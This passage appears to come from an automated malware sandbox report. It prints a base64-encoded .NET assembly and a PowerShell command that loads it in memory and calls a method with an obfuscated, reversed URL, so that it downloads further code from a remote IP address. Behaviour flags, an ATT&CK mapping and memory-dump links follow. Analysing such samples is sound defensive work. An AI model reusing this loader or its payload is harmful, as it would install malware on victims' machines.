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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAwAAACQPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=');[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.hfghfhhfjhfdgcg/42.021.871.591//:ptth'))
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1996

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1996-58-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/1996-59-0x0000000001E50000-0x0000000001E58000-memory.dmp

Filesize
32KB

Download
memory/1996-60-0x0000000002740000-0x000000000274A000-memory.dmp

Filesize
40KB

Download
memory/1996-61-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/1996-62-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download
memory/1996-63-0x0000000002750000-0x00000000027D0000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing